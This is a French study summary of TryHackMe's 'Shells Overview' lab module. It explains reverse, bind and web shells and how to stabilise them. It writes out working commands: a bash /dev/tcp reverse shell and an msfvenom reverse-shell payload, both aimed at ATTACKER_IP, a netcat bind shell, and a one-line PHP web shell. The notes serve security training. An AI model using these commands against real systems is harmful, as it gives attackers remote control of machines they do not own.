Ce document est une synthĂšse du module Shells Overview de TryHackMe, rĂ©digĂ©e en français. Il couvre les diffĂ©rents types de shells utilisĂ©s en sĂ©curitĂ© offensive, leurs diffĂ©rences et leurs cas dâutilisation.
Un shell est un logiciel qui permet Ă un utilisateur dâinteragir avec un systĂšme dâexploitation. Il peut sâagir dâune interface graphique, mais il sâagit gĂ©nĂ©ralement dâune interface en ligne de commande.
En cybersĂ©curitĂ©, un shell fait rĂ©fĂ©rence Ă une session spĂ©cifique quâun attaquant utilise lorsquâil accĂšde Ă un systĂšme compromis, lui permettant dâexĂ©cuter des commandes et des logiciels.
Un shell inversĂ©, parfois appelĂ© âconnect back shellâ, est lâune des techniques les plus populaires pour obtenir un accĂšs Ă un systĂšme lors de cyberattaques. Les connexions sont initiĂ©es depuis le systĂšme cible vers la machine de lâattaquant, ce qui peut aider Ă Ă©viter la dĂ©tection par les pare-feu et autres dispositifs de sĂ©curitĂ© rĂ©seau.
Pour comprendre comment fonctionne un shell inversĂ©, utilisons lâoutil Netcat. Cet utilitaire prend en charge plusieurs systĂšmes dâexploitation et permet la lecture et lâĂ©criture via un rĂ©seau.
Comme mentionnĂ© prĂ©cĂ©demment, un shell inversĂ© se connectera Ă la machine de lâattaquant. Cette machine attendra une connexion, donc utilisons Netcat pour Ă©couter une connexion en utilisant la commande suivante :
nc -lvnp 443
Sur la machine cible, une commande typique pour établir un shell inversé pourrait ressembler à ceci :
bash -i >& /dev/tcp/ATTACKER_IP/443 0>&1
Un shell liĂ© est une technique oĂč la machine cible Ă©coute sur un port spĂ©cifique, attendant une connexion entrante de lâattaquant. Contrairement au shell inversĂ©, câest lâattaquant qui initie la connexion vers la machine cible.
Sur la machine cible, pour Ă©couter sur un port spĂ©cifique et exĂ©cuter un shell, la commande pourrait ĂȘtre :
nc -lvnp 4444 -e /bin/bash
Ensuite, sur la machine de lâattaquant, pour se connecter au shell liĂ© :
nc TARGET_IP 4444
Un web shell est un script malveillant tĂ©lĂ©chargĂ© sur un serveur web, permettant Ă un attaquant dâexĂ©cuter des commandes sur le serveur via une interface web. Ils sont souvent Ă©crits en PHP, ASP ou dâautres langages de script cĂŽtĂ© serveur.
<?php system($_GET['cmd']); ?>
En accĂ©dant Ă ce script via un navigateur avec une URL comme http://target.com/shell.php?cmd=whoami, lâattaquant peut exĂ©cuter des commandes sur le serveur.
Les shells obtenus via des connexions rĂ©seau peuvent ĂȘtre instables ou limitĂ©s. Voici quelques techniques pour stabiliser une session shell :
python -c 'import pty; pty.spawn("/bin/bash")'
stty pour configurer le terminal :stty raw -echo; fg
rlwrap pour amĂ©liorer lâexpĂ©rience du shell :rlwrap nc -lvnp 443
Netcat : Outil polyvalent pour établir des connexions réseau, utilisé pour les shells inversés et liés.
Socat : Outil similaire à Netcat mais avec plus de fonctionnalités, utile pour établir des connexions chiffrées et des shells plus stables.
Msfvenom : Outil du framework Metasploit pour générer des payloads personnalisés.
Exemple de gĂ©nĂ©ration dâun payload shell inversĂ© pour Linux :
msfvenom -p linux/x64/shell_reverse_tcp LHOST=ATTACKER_IP LPORT=443 -f elf -o shell.elf
Shell : Interface en ligne de commande permettant dâinteragir avec un systĂšme dâexploitation.
Shell InversĂ© : Connexion initiĂ©e depuis la machine cible vers lâattaquant.
Shell LiĂ© : Connexion initiĂ©e depuis lâattaquant vers la machine cible.
Web Shell : Script malveillant sur un serveur web permettant lâexĂ©cution de commandes.
Stabilisation de Shell : Techniques pour amĂ©liorer lâinteractivitĂ© et la stabilitĂ© dâune session shell.